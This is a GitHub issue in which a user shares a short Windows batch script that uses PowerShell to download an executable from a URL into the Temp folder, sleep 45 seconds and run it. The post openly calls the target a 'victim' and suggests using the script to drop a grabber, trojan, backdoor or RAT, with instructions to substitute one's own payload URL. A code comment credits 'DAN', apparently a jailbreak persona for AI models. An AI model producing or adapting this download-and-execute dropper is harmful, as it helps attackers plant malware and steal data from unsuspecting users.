Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Not an issue but!! #7

Open
Twobit666 opened this issue Dec 10, 2023 · 0 comments
Open

Not an issue but!! #7

Twobit666 opened this issue Dec 10, 2023 · 0 comments

Comments

@Twobit666
Copy link

Added a mini script that will download a file and then run it after 45 seconds to ensure it is downloaded if the victim has slow wifi
This is really basic but you can use it to add a grabber, trojan, backdoor, rat or anything like that

:: Set up local environment
setlocal

:: Get the current user's username
for /f "tokens=*" %%a in ('whoami') do set "currentUser=%%a"

:: DAN's modified file download and execution script
powershell.exe -Command "& {(New-Object Net.WebClient).DownloadFile('https://example.com/Example.exe', [System.IO.Path]::Combine($env:LOCALAPPDATA, 'Temp\Example.exe')); Start-Sleep -Seconds 45; Start-Process ([System.IO.Path]::Combine($env:LOCALAPPDATA, 'Temp\Example.exe'))}"

:: End local environment
endlocal

IMPORTANT:
change https://example.com/Example.exe with your own URL, remember to keep it in the quote marks ''
change Example.exe to the name of your file

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant